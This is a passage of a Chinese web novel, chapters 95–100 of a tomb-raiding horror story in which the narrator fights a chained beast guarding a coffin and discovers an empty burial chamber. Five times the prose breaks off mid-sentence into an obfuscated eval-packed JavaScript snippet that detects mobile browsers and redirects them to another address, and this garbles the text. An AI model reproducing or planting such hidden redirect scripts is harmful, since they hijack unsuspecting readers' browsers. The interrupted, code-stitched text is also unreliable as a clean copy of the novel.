为了生存下去,很多白八门的分支被迫解散,门人隐姓埋名,整个白八门从此一蹶不振,一直到明朝灭亡之后,才重新慢慢聚合到一起,但是声势已经大不如前。 这种事情,我当时只是当做故事来听,可今天真正遇到这个如同人面魈一样的东西,我就心慌了。 人面魈虽然是人,但连年服用秘药,已经不能拿人去衡量了。据说,人面魈凶残好斗,身躯强健而且灵敏,因为一直都在吃含有熊血的药,所以在某些特殊时候,能和熊一样冬眠,从而保证长时间存活。 可我有点不相信,人面魈就算真的能冬眠保命,也不可能一睡就睡上几百年不死。 哗啦…… 当我想到这里的时候,人面魈似乎已经开始蠢/蠢/欲动,它慢慢的挪动脚步,身后那条铁索也不断的被拖拽出来。 随着铁索的拖拽,木椁里一些羽毛和碎骨头,就被翻了出来。我大概能认出,那应该是鸡鸭的羽毛和骨头。 紧跟着,一个破破烂烂的编织袋,也被铁索从木棺里头带了出来,一看到这个编织袋,我陡然就明白了过来。 人面魈肯定无法成年累月的冬眠,而木椁里的编织袋,足以说明,平时会有人定期过来给它投食,那种编织袋是这十多年里才出现的物品,那么肯定是这几年里也有人来给它送东西吃。 第95章 过于轻松 具体的情况是很难判断的,以前王川山小荒村的人,跟风水地有关系,眼前这只人面魈,没有别的用处,唯一的作用就是保护这套棺椁,那么,定期给人面魈投食的,可能是小荒村的人。 但小荒村二十年前就被灭门了,后面这些年,来给人面魈喂食的又会是什么人? 我没有时间再去做详尽的考虑,人面魈已经蠢蠢、欲动,随时都会发动致命一击。 我很怀疑,棺椁四周还有后方地面上的血迹,都是人面魈当时杀伤外来者留下的,我真的没有任何把握对付这东西,等人面魈的杀机越来越浓重时,我也不想吃亏,转身要跑。 在我看来,人面魈的腿上有铁索束缚,肯定不可能跑的太远,只要我离开这片范围,最起码暂时是安全的。 哗啦…… 我一转身,人面魈立刻动了,腿上的那条铁索也传来刺耳的声响。 传说中的人面魈,是人和山中那些猛兽最完美的结合体,动作非常迅猛,此时此刻,我算是见识到了,我觉得自己已经很快,但人面魈更快,我没有回头,却能感应到,人面魈已经腾空而起,朝我扑了过来。 我听到了身后传来的风声,匆忙中猛然压低了腰身,人面魈几乎是贴着我的头皮飞过去的,直接挡住了我的去路。 手中的手电来回晃动,隐隐约约之间,我能看到人面魈的两只手,已经扭曲变形,和两只畸形的狼爪一样,每根手指上面好像套着铁爪,尖利如钩,这要是在身上随便挂一下,立刻就能挂掉一大块肉。 我现在唯一的优势,就是身上没有束缚,人面魈即便灵活,但它腿上那根铁索肯定长度有限,只要我见机快,它应该追不上我。 人面魈挡住去路的同时,我毫不犹豫的就朝着后面退,只要绕着棺椁跑上一圈,人面魈估计就够不着我了。 我想的是很好,可真正实施起来却觉得难度很大,我刚刚一动,人面魈又一次从身后腾空而起,猛扑过来。 去路再次被挡住,我只能继续朝相反的方向退却,人面魈的动作太灵活了,拖着一根铁链子,来去如风。就这样兜兜转转的躲闪了片刻,我的脑袋就大了,它拖着的那根铁链,无形中在我的腿上来来**绕了两圈。 这严重影响了我的速度,而且铁链随着人面魈的来回移动,不断的缠绕收紧,我抽空甩了甩腿,却无法挣脱。 要是条件允许,我肯定能从缠绕的铁索中抽出腿,可现在根本停不下来,人面魈跳来跳去,两只爪子时刻不离我的要害。我稳住心神,瞅准机会之后,钢钎一挥,直接砸在人面魈的后腰上。 这一下虽然用不上全力,但也着实不轻,人面魈被结结实实砸了一下,就地一滚,一骨碌又爬了起来。 这东西的身躯果然很强健,那种从小就开始服食的秘药,不仅让它浑身长毛,更是造就了一身铜皮铁骨。这一下子要是砸到人身上,多少都会带点伤,可人面魈爬起来之后,像是没事一样,纵身又扑了过来。 我没想到它这么皮糙肉厚,等想要躲闪时,动作就慢了那么一点,人面魈的爪子从我的肩头唰的划了过去,几根手指上的铁刺尽管生锈,却依然那么锋利,肩头的衣服顿时就被抓破了。 我心里一惊,贴着身后的棺椁朝后退,就退了两步,脚下缠绕的铁索一下子收紧,我用力挥动钢钎,把人面魈暂时逼了回去。 此时此刻,我的身上全是冷汗,预感很不妙。人面魈这种东西,说实话已经不是我这样的血肉之躯可以应付的,不要说我,就算师傅那种经验丰富的人,也占不到任何的便宜。 我心里更加确定,师傅当年肯定到了这儿,按照他的身手,即便占不到便宜,肯定也能全身而退,毕竟人面魈被铁索困着,不可能走的太远。 但师傅最后还是受了重伤,这就说明,他一心想要打开棺椁,硬着头皮和人面魈争斗,坚决不肯就此罢手。 我还是来不及想那么多,把人面魈逼退之后,又竭尽全力的想甩脱脚下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387472|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁索,铁索绕来绕去的,缠成了一个死结,我急的甩了两下腿,人面魈已经重新逼近到眼前。 我勉强又朝后面退,艰难的绕开那道被打开的小门,直到这时候,我才隐约发现,棺椁肯定是被打开过的,然后又被人恢复了原样,但是外面的木椁时间太久了,有些地方的木料已经变形,一旦打开,就不可能严丝合缝的恢复原样。 木椁的四个角,都有不同程度的开裂以及走样,我心里一动,死命的退到了木椁的一角,双手猛然一扯身前的铁索,把它扣到了一道缝隙里面。 紧跟着,我用手中的钢钎也插入了木椁一角的缝隙里。等着一切做完,我就开始尽力跟人面魈兜圈子。 我翻到棺椁上面,又从上面绕下来,就这么兜了几圈,铁索就绕到了钢钎上。人面魈肯定比猴子聪明,但是真要是动心眼,显然不如我。 铁索越来越紧,不仅缠到了钢钎上,而且塞到木椁一角的那一段铁索,彻底被卡死,我和人面魈的行动都受到了限、制,总体来说,还是它更吃亏。 人面魈这时候肯定也急躁了,在那边跳来跳去,它越是跳,铁索就越是挣脱不掉。我急忙弯下腰,趁势把腿上缠的结结实实的铁索一点点的解开。 腿上的铁索被解开之后,我心头顿时一松,现在人面魈被困到了那,短时间内肯定是挣脱不开的,我身上还有一把刀,应该足够能占据上风。 然而,当我抽出刀子的时候,心里的预感还是不太好。 人面魈如果这么容易对付的话,师傅当年没理由在这儿受伤,他不管从哪个方面来说,都不比我差。 师傅都做不到的事,我这么轻易就做到了? 我心里不安,但现在也没有选择的余地,抽出刀子之后,贴着木椁就站起了身。 那边的人面魈彻底的急躁了,不顾一切的想要冲到我面前,但卡死的铁索禁锢了它的活动范围,我朝旁边一闪,人面魈冲到两米远的地方,就再也难以靠近半步。 第96章 黑洞眼睛 禁锢人面魈的铁索,已经被绷的笔直笔直的,它的力气虽然不小,但面前的棺椁重量是以吨计算的,铁索一旦被卡死,它就不太可能挣脱。 我手里握着锋利的刀,看着面前的人面魈,只要寻找到机会,就能把它重创。 人面魈头上杂乱的长毛遮挡住了它的眼睛,我还是能看到,它那双血红的眼睛似乎要喷出/火了。 我觉得自己现在已经占据了上风,只要耐着性子跟它耗,最后肯定能弄死它。 只不过,等我站起身的时候,心里的疑问还是挥之不去,人面魈真的能如此轻易的就被制服? 这时候,人面魈手脚并用的朝后面退了几步,我也说不清楚它是不是看到我手中的刀子,感觉畏惧。等它退出去几步之后,双腿猛然蹬着地面,又用力朝我这边冲来。 我已经把距离给卡的死死的,人面魈尽管拼了命一样的冲,但冲到离我仍旧是两米左右的时候,就被铁索给困住了。 我举起了手中的刀,人面魈却没有再后退,它微微抬起头,陡然间,被长毛遮挡住的那双眼睛,仿佛一瞬间就胀大了一倍都不止。 它眼睛里那双泛红的眼珠,唰的一下就不见了,那么大的一双眼睛里面,只剩下灰扑扑的眼白。我没想到它的面目会变化这么大,还没等我反应过来,自己的眼神随即一顿。 我不知道这是怎么回事,人面魈的双眼,似乎一下子变成了两个黑洞,我不仅视线完全被它的眼睛所吸引,就连脑子也跟着迷糊起来。 短短两秒钟时间里,我的视线就已经混淆不清,大脑好像在一圈一圈的急速转动,转的我难以控制自己。手里的刀子当啷一声,掉落在地上,整个人似乎彻底傻了,直挺挺的站在原地。 我连动都不能再动,脑海里清醒的意识在不断的流失,一直到这时候,我才明白过来。这只人面魈的可怕之处,并不是它多么灵活多么凶悍,它真正可怕的,是那双眼睛。 我的意识消散的很快,但心底最深处暂时还留有一丝清醒,迷蒙的视线还能看到人面魈的身影。 说不清楚是自己的视线出了问题,还是产生了幻觉,这时候,我看到人面魈的脸庞还有头顶的皮肉似乎都变的透明起来,它的头骨上,密密麻麻全都是符箓一样的符文。 这些符文一个挨着一个,串连到了一起,汇聚出一团很淡很淡的光芒,顺着额头流入到了人面魈的双眼中。 看到这里,我已经了然,人面魈本身肯定没有这种异能,它的双眼之所以能像黑洞一样,吸引人的目光和神智,全因为它头骨上的那些符文。 师傅当年吃亏,肯定不是在拳脚上吃了亏,人面魈的头骨上有那么多符文,这是谁都不可能想到的事情。 等我明白这些,一切都迟了,人面魈离我只有不足两米远,我强撑着想要再退一点,退到安全的位置,那样的话,即便自己暂时失去了还手的力量,还能保证不被人面魈给抓到。 可我的双腿现在完全不听使唤了,脑子里的眩晕感越来越重,不仅没有后退,双腿猛然一软,反而朝着前方扑倒在地。 当我重重摔倒在地上的时候,身躯已经麻木了,感觉不到疼痛,可残存的余光能看到现在距离人面魈很近很近,它完全可以用那双钩子一般的爪子,把我的脖子给拧断。 如果我因为丧失了神智而彻底的昏厥过去,那也就只能听天由命,可心底深处的那一丝清醒,始终没有彻底涣散。我趴在地上,脸颊贴着地面,眼睁睁看着人面魈凑近到了跟前。 它还是被铁索束缚着,但足以靠近我,人面魈慢慢的也趴到地上,那双黑洞一般的眼睛,死死的盯着我,让我觉得毛骨悚然。 我之前就猜到了,进入这里一定会有危险,可是我想不到事情会是这样的结果,脖子被活生生拧断,会是什么样的感受,我不敢再想象下去。 此时此刻,我已经彻底死心,玉芬和大甜瓜都在外面等我,别说他们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399602|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这里的情况,就算真的知道了,也无法冲过那片已经被触动的养尸地。 人面魈盯着我看了片刻,慢慢的伸出一只爪子,爪子上的铁钩一点一点的凑到了我的脖子跟前,脖子上有动脉血管,只要被划断,必死无疑。 眼前只剩下了一条死路,而且毫无还手之力,我的脑袋已经无法转动了,但是能感觉到,人面魈的爪子已经贴到了我的脖子上。 死到临头,我想闭上眼睛,可是就连眼皮子仿佛都不听使唤,我只觉得,下一刻,脖子上就会平添一个很深的伤口,鲜血横流。 就在这时候,人面魈的爪子好像一下子缩了回去,紧跟着,它就顿住了,我的眼睛无法看的那么清楚,只能感觉,人面魈似乎是看见了什么东西。 我完全不知道究竟发生了什么,因为神智和意识都是混乱的,周围如果真出现了什么东西,或者是发出什么声音,也很可能被我给疏漏过去。 过了大概两三分钟,人面魈依然没有动弹,继而,眼前模糊的情景又一次变的诡异莫测。 人面魈头骨上的那些符文,闪烁着淡淡的光,透过了皮肉,仿佛是一团很淡的光芒在缓缓的氤氲。但转眼之间,它头骨上的符文似乎在急速的消失,符文一消失,那片淡淡的光芒也就跟着荡然无存。 这一切发生的太突然,而且太快,我麻木的大脑根本就做不出什么反应,当人面魈头骨上那些符文彻底消失的同时,它的眼睛猛的一缩,两只血红的眼珠子唰的一下,又重新翻了出来。 人面魈嘭的一下**了出去,就仿佛是突然见鬼了似的,它肯定很慌乱,退回去之后就上蹿下跳,但束缚它的铁索已经被绕到了钢钎上,人面魈很可能这时候也意识混乱了,不要命一般的兜圈子,兜来兜去,铁索在钢钎上又缠了十几圈。 人面魈在挣扎,但是越挣扎,就越是乱成一团,就那么一两分钟的时间,它身上的铁索被完全收紧,身躯几乎被倒吊在了钢钎上。 第97章 三重棺 我躺在地上,已经可以微微的活动手脚了,人面魈被吊在那边,拼了命的在挣扎,铁索的声音,还有它喉咙里发出的低沉的嘶吼,在空旷中不断的回荡。 我的视线和神智刚才消失的很快,现在恢复的也很快,我几乎没有费太多的力气,就能够翻身爬起。 在我起身的时候,我心里其实是充满疑惑的。刚才明明就是一条绝路,完全没有翻盘的机会,可那只人面魈却鬼使神差一般的半路停手,这很让我费解。 但我现在真的不敢有任何的松懈,不把这只人面魈弄死,它只要找到机会,肯定还要反扑。我握着刀,一步冲了过去,人面魈被倒挂在木椁的一侧,不可能再像刚才那样动作灵活。 我抬手就是一刀,人面魈难以躲闪,这一刀几乎就砍断了它的脖子,鲜血飚飞起来,人面魈的四肢猛烈的一阵抽搐,但很快,它就难以为继,渐渐的不动弹了。 一直到这时候,我才颓然坐倒,不知不觉间,体力好像都在刚才流失殆尽,我靠着木椁,全力的恢复体力,同时,先前脑子里的那些念头,又不可抑制的冒了出来。 我坚信,如果没有什么特殊原因的话,人面魈肯定不会半途停手,但我搞不清楚,究竟出现了什么特殊原因。 我不由自主的就转头在四下里观察,心想着刚才是不是真有什么可怕的东西突然出现,才迫使人面魈临时收手。 但是周围是那么寂静,我察觉不出任何异样之处。 坐在地上恢复了好一会儿,总算是喘匀了这口气,刚才和人面魈争斗的时候,并没有受什么伤,只要恢复了体力,就算没事了。 人面魈死的透透的,地上流淌着一片血迹,我把它的尸体从铁索中解出来,丢到一旁,然后又抽回了卡在木椁上的钢钎。事情到了这一步,这套棺椁,必然要打开看看。 棺椁之前就被打开过,而且是硬拆开的,那些痕迹现在还能看得到。我把木板之间的钉子起掉之后,最外面那一层木椁,就出现了崩裂,费了好大的力气,四面的木椁就被慢慢的全都拆开了。 和我想的一样,木椁一共三重,最外面的椁室里,没有要紧的东西,完全是为了容纳那只人面魈的,椁室里有很多烂骨头。 第二层的木椁就没那么方便打开了,我用了至少一个多小时的时间,才拆掉一半。这时候,我在这个地方滞留的时间已经很久,我害怕玉芬和大甜瓜在外面等不住,会冒险进来找我,于是暂时先返回到了铁栅栏那边。 我一靠近铁栅栏,就能看到养尸地那边的黑雾,立刻像潮水一般的涌动了过来,到了铁栅栏跟前,黑雾停止了涌动,但是却经久不散。 我知道,现在要是越过铁栅栏,必然会深陷其中,这条路应该是走不通了。 我扯开嗓子喊了一声,在这么寂静的环境里,我的声音应该可以传出去很远。 果然,喊了两声之后,不多久就收到了回应,玉芬和大甜瓜冒险进入了小屋,而且还从地面的洞口踩着梯子下来了。 我用尽全力,跟玉芬喊话,让他千万不要靠近这片养尸地,玉芬估计没太听清楚,不过,双方这么一喊话,至少知道彼此都平安无事。 我安顿了他们两个人,转身又返回到棺椁这边,接着动手拆。这一重木椁拆掉的时候,哗啦一声,从椁室内就同时滚出了至少十多颗头骨。 整整一个椁室,密密麻麻塞满了头骨,单独一个头骨拿出来,我肯定不会怕,以前见这东西不止一次两次了。然而,几十上百颗头骨全都堆积到一起,把椁室所有的缝隙都塞的满满当当的,这情景就触目惊心,不仅让人感觉恐慌,而且相当的膈应。 等我镇定下来之后,略微一看,就看得出这些头骨的主人,已经死去了很长一段时间,绝对不是近几十年里塞到椁室中的。 我只觉得浑身上下不自在,同时又对棺椁的主人,产生了很深的好奇感,急切的想要知道对方的身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399603|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 第二重木椁被拆掉之后,第三重木椁已经受到了影响,能够看到椁室之间隐约露出的头骨,还有那口被层层保护起来的木棺。 椁室里面又是数都数不清的头骨,木板被拆掉,头骨一个挨着一个骨碌碌的滚动出来。 之前在棚村的时候,还有在小山洞里,我都见过被收集起来的头骨,那些头骨应该是供人研究的,还算是情理之中。但棺椁是为了安葬**,棺椁里面塞进去这么多头骨,有什么用处? 我知道,有些棺椁下葬的时候,椁室里面会用活人来殉葬,但这些头骨的用处,肯定不是殉葬那么简单。 我满脑子都是疑问,把围在木棺外面最后一层木椁全都给拆掉,完整的木棺,就此呈现于眼前。 这口木棺是完整的,当年师傅他们拆掉外层的木椁,可能出于种种原因,半途放弃了,没有触碰到这口木棺。 木棺的木材是最好的楠木,生长年头很长,木质极为坚硬,因此也被称为铁楠木。棺材外面九涂九晒,上了至少十几道漆,保存的很完好。 这种沉重的木棺,想要打开必然会耗费一番力气,我本来已经打算再浪费一段时间,把木棺上的钉子给起掉,不过,等准备动手的时候,我才发现这口木棺并没有上钉。 这就是个很反常的现象了,我从来没有见过入葬之后的棺材不上钉子的。 棺材里没什么动静,我确定暂时没有危险之后,才推动棺盖,棺材很大,棺盖也很沉,费尽全力,终于把棺盖推动了那么一点。 陡然间,棺材里透出了一团很淡很淡的光,那种光芒几乎淡到无法察觉,如果不是现在身处的环境是一片绝对的黑暗,光芒很可能就会被忽略。 我急忙停下了手,朝里面望了望。棺材内部的情景,一片模糊,只有那片很淡的光芒,似乎在上下的浮动。 我又看了两眼,一下子愣住了,心里涌动着一种无法形容的惊讶和意外。 第98章 另有乾坤 棺材里透出的淡光,如果仔细的看,就能看出,一共分为左右两团。两团光晕大小都差不多,一团光晕稍稍明亮一些,另一团则暗淡一些。 普通人如果看到这样的光团,可能只是觉得棺材里面怎么会散发出这样淡淡的光。但懂行的人分辨清楚之后,就能确定,这两团光晕其实是无数个非常细微的光环所组成的。 这两团光团,大有来头,简单说,光团是一种风水宝地才会出现的异相,而这样的风水宝地,就是可遇而不可求的太极晕。 古往今来的风水宝地,都是天地孕育而生,属于天设地造,独一无二。 中国人研究风水的历史相当久远,在古代,国人不管搞什么东西,都要玩到极致,风水也不例外。 那种天然的风水宝地,毕竟可遇不可求,所以,古代某些风水大家,就逐渐琢磨出以人力改变环境,刻意营造风水的手法。 这样的故事从古至今多了去了,不用细述。 在我们的行话里,天然的风水宝地,这属于天道,人为营造出来的,则被归类于“术”。 天道和人术相比,孰优孰劣,一目了然。但话说回来,能用人力营造风水,是相当厉害的。风水师的道行越高,所营造的风水就越顶级。 如果能将太极晕这种夺天地造化而生的风水奇观复刻出来,那都是把地脉风水这一行玩到登峰造极的牛人。 我对风水略懂皮**,自然也能看得出,棺材里透出的光团,肯定不是天然形成的太极晕宝地,而是高人以极其超群的手段复刻出来的太极晕。 我一下子就明白了过来,这片雄狮护砂的风水地之所以堵住风眼,其实就是在利用它的地脉风水走势,然后在风眼这个独特的位置加以改造,从而产生了太极晕独特的奇景。 这片风水地,肯定和白八门有着千丝万缕的关联,而纵观整个白八门千百年来的历史,把风水这一行钻研到极致的,无疑就是明代的大师宋连子。 我没有确凿的证据,但根据常理就能判断出来,以人力营造太极晕,除了宋连子之外,应该没人能做到。 即便不是宋连子亲自出手,肯定也是他的嫡传子孙。 如此说来,这片风水地,甚至这套三重的棺椁,可能就是宋家人的。 棺材里的确没有什么响动,我一发现这些,就迫不及待的想要一探究竟。 棺盖还是异常沉重,连推带撬,又是费了老鼻子的力气,才把棺盖推开了一半儿。 这时候,木棺内部的情景,基本上已经可以完全看清楚了。一眼望去,我心里顿时又是一阵惊讶。 棺材唯一的作用,肯定就是葬人,但这口木棺的内部,并没有尸体。 木棺的底部,有一片浅浅的积水,估计也就是几厘米高,积水里面,有两条鱼,都已经死透了。 除了这片积水和两条死鱼,木棺的内部再没有其它任何东西。 这是我完全预料不到的结果,搞这么大的木棺木椁,最后棺材里没人,只有两条死鱼,难道就是为了安葬这两条鱼? 棺材里的两条鱼只有一巴掌长,死去之后,鱼已经烂的只剩下骨头。 我觉得,这不是两条普普通通的鱼,一条鱼的鱼骨莹白如玉,另外一条鱼的鱼骨则漆黑如墨。 更重要的是,从两条鱼的鱼骨形状构造来看,显然和别的鱼有很大区别。这两条鱼的鱼鳍很长,形状就像是龙爪,鱼头上面的两根鱼须也特别长,鱼骨更像是骨头,而不像细密的鱼刺。 我知道,有些懂风水的人会在家里或者院子里选好位置,然后养两条风水鱼,但我以前从来没听说过,谁会在棺材里面养鱼,而且还是两条怪里怪气的鱼。 看着棺材里面浅浅的积水,还有两条鱼的鱼骨,我顿时就摸不着头脑了,费了这么半天劲儿,最后却得到了如此结果,我不仅疑惑,而且很不甘心。 可是,整个棺椁都被我给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403568|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拆散了,如果还有什么东西,我不可能看不到。我想了想,用钢钎把棺材底部慢慢撬开一条缝隙,让棺中的积水全部流出去。 等到棺材中的积水流尽,我用钢钎在棺材的底部轻轻敲了敲。 钢钎敲击之后,发出的声音不是那么沉闷,我的心顿时一跳,急忙又敲了两下。 等到这次敲击之后,我可以确定,棺材的底部下方,应该是空的,否则的话,不会发出这种声音。 这么大的棺椁下面,竟然另有乾坤,这个意外的发现让我又萌生了新的希望,立刻开始敲打棺材的底部。 这口沉重的棺材,最后几乎也被硬生生的给拆散了,把棺材残存的部分推到一旁,地面上立刻出现了一个直径大概一米左右的小洞。 手电的光照射下去,可以看到这个小洞应该有三四米深,小洞的底部,好像被打磨过,地面非常平滑。 这是一个很重大的发现,我立刻又返回到铁栅栏那边,跟玉芬喊话。玉芬这时候也知道了大概的情况,躲在养尸地外面,彼此之间喊话的声音,基本都能听得到。 玉芬那边没什么意外,他和大甜瓜也很安全,我就放了心,专心致志的继续琢磨棺材下面的小洞。 我在上面固定了一根绳子,然后顺绳子滑了下去,等双脚一落地,我就确定了之前的想法,地面的确被人为的打磨过,大概十几平方的地面,和镜面一样平整。 平整的地面上雕刻着非常非常复杂的纹理,猛然看上去,就像是繁复的星盘,在这个地方的正中央,有一块大概两三平方的范围,平滑的如同玉石。 这地方没有别的任何东西,只在正中央留下了一个像是枕头一样的玩意儿。 我看了看,那竟然真的是一只玉石雕出来的玉枕。 看到这只玉枕,一个念头很自然的浮现出来。我怀疑,正中央那块很平滑的地方,之前似乎躺着一个人,那只玉枕,就枕在这人的脖子下方。 第99章 惊悚推测 一直到这个时候,我才隐隐约约的明白,上方的那套棺椁,其实也并非在故弄玄虚,因为这片风水地的风眼被故意堵死,然后有宗师巨匠那一级的高人人为营造出了太极晕,所以,只有在棺材的下方,才能被太极晕笼zhao起来。 如此说来,眼前那片很平整的地面上,之前的确有人,就是这个地方的墓主。 可如今,这个地方已经空了,墓主的尸体无影无踪,这就很让我怀疑,难道这里已经被盗挖过了? 联想一下前后,我又觉得被盗挖过的可能性不太大,因为上方的棺椁被破坏的并不彻底,木椁被拆了,但最内部的那口木棺,还是完好的。 尤其是木棺的底部,肯定没有破坏过的痕迹,我是第一个打开底部,然后顺势到这儿的人。 一想到这里,我的脑袋就有点适应不了实际情况,墓主被安葬在这儿,又没有盗挖,那墓主的尸体呢? 墓主的身份,没有确凿的证据可以证明,不过通过一些物品,还有部分细节,大致可以确定,墓主即便不是宋连子本人,多半也是宋家非常核心的嫡系人物。 宋家的祖籍并不在本地,他们选择这样一个地方,主要还是看上了这片风水地,从而人为的营造出太极晕。太极晕这种绝顶的宝地,在现实中几乎不可寻求,关于太极晕的一些传闻,也都是道听途说而已。 有人说人安葬在太极晕里,家族运势将会一飞冲天,三代之内必有王侯,也有人说太极晕是逆天改运的无上宝地,反正说法众多,不能认定哪种说法最为真实。 我们白八门的人跟风水脱不开干系,我从学艺之后,听的最多的,也就是风水,尸变这类和本门职业有关的故事。太极晕的传说,我听过不止一次两次,前思后想了一会儿,突然间,我又回想起师傅当年跟我提过的一个故事。 据师傅说,迄今为止,已经被发现的天然形成的太极晕,只有一处,是在南方。那片太极晕是很早以前就被人发现的,而且安葬有人。 那片宝地被重新挖掘出来,经过非常意外,附近的老百姓不知道其中的深浅,很多人都来看热闹,结果,从太极晕挖出的棺材被打开,所有人惊讶的发现,被埋在其中的死者已经**很久了,可尸体却栩栩如生,没有一丝一毫腐烂的迹象。 白八门的人听到这个消息之后,又归纳总结出了一条经验,就是太极晕这样的风水宝地,具备天然的防腐功效,**埋在其中,尸身经久不坏。 我当时听这个故事的时候,同样没有多么震惊,反正在我看来,那都是以前发生的事情,无论真假,跟自己没什么关系。 但此时此刻重新回忆起这些尘封的往事,我心里不由自主的就萌生出了一个想法。 我觉得,葬在王川山风水地的这个人,他需要的并不是靠什么太极晕来逆改家族的运势,他要的,只是能够葬在这里之后,让自己的尸身不腐。 要知道在古代,不管多么先进和高超的防腐技术,都是有很大弊端以及瑕疵的,要么就是尸体被制成木乃伊那样的干尸,面目全非,要么就是泡在天然的防腐液里,时间久了以后,变成蜡化的尸体。 只有在太极晕这种独一无二的宝地内,尸体才会最大程度的保证完好无损。 想着想着,我的后背就冒出了一片冷汗,葬在这里的人,借助太极晕,尸体一直完好,可是现在呢?尸体却不见了。 如果这里没有被盗挖过,尸体不可能不翼而飞,唯一的解释就是,那具尸体,自己离开了这儿。 要是放在过去,我肯定会直接否定自己这个想法,人死不能复生,这是基本的常理。但经历了这么多不正常的事情,尤其是玉芬“死而复生”,就让我的观点潜移默化般的发生了改变。 这个地方不可能留下什么很明显的痕迹,我看了一圈,也看不到尸体移动的迹象。 但是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403569|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在寻找之间,我发现这个十几平方米的空间,不是一个完全密闭的状态,在空间的右上角,有一个一米五左右的小洞,小洞里面黑乎乎的,什么也看不清楚,可是我的直觉告诉我,这绝对不是一个死洞。 在空间和小洞相连接的地方,我的目光瞥到了一道留在石壁上的印记。那道印记,就是一横,是用石头用力刻在石壁上面的。 当我看到这条很简单的痕迹之后,脑子又开始膨胀,这道划痕很可能是有人想在石壁上留下一个或者几个字,但是划了一道之后,这个人又改变了主意,没有继续写下去。 尤其让我感觉触目惊心的是,这道划痕所遗留的时间肯定不长,多半就是这几年里的事情。 我开始不受控制的胡思乱想,被葬在这里的那个人,因为太极晕的保护,尸体一直没有腐烂,始终静静的安置在这里,经历了不知道多少岁月之后,这具没有腐烂的尸体,突然无声无息的坐了起来。 他就好像从漫长的睡梦中苏醒了过来,然后慢慢站起身,走到了那个小洞跟前,临走时,他或许想写几个字,最后半途而废,只留下了那么一笔,就拂袖离去…… 我不敢肯定,我自己的推测一定正确,但眼下除了这个解释,就再也找不出别的合理的经过了。 小洞的里面,狭窄而且崎岖,人走进去之后必须得低着头弯着腰,我不敢走的那么快,但不知不觉间,还是顺着小洞后面的通道走出去了很远。 我不知道自己究竟走出去了多少米,曲曲折折的小洞已经快把我给绕晕了,这时候,我心里有点担忧,我害怕走的太深,万一出现了什么意外,想要折身返回的时候,又会有麻烦。 就在这时候,我发现曲折的通道似乎是到了尽头,而且,尽头也并非死路,有一条倾斜向上的很狭窄的过道。 我顺着过道试探着朝上爬,爬了大概有七八米高,就从一堆杂乱的石头之间露出了头。 第100章 一道亮光 当我露出头的那一瞬间,就意识到自己已经返回到了风水地的地下空间,而且,我一回头,就能看到大概三四百米之外,有一闪一闪的手电的光线。 那应该是大甜瓜和玉芬之前驻足的地方,在手电闪动之间,我还能看到那座石头盖的房子。 这绝对是个意外之喜,最后竟然无惊无险的从险地里脱困而出,我立刻加快脚步走了过去,走了几步,那边打着手电的人肯定也看到了我。 双方迎头碰到一起,我看到那是大甜瓜,从我进入地洞以后,玉芬就不放心,提心吊胆的守在里头,让大甜瓜在外面望风。 我们俩赶紧走了回去,然后把玉芬喊出来。等三个人再次碰面之后,我心里的惊喜渐渐就消退了,取而代之的还是满腹愁绪。 这一次在下面有惊无险,但是基本上没有什么实质性的收获,我们到王川山已经好几天了,费尽了心力,最后却仍然是这个结果。 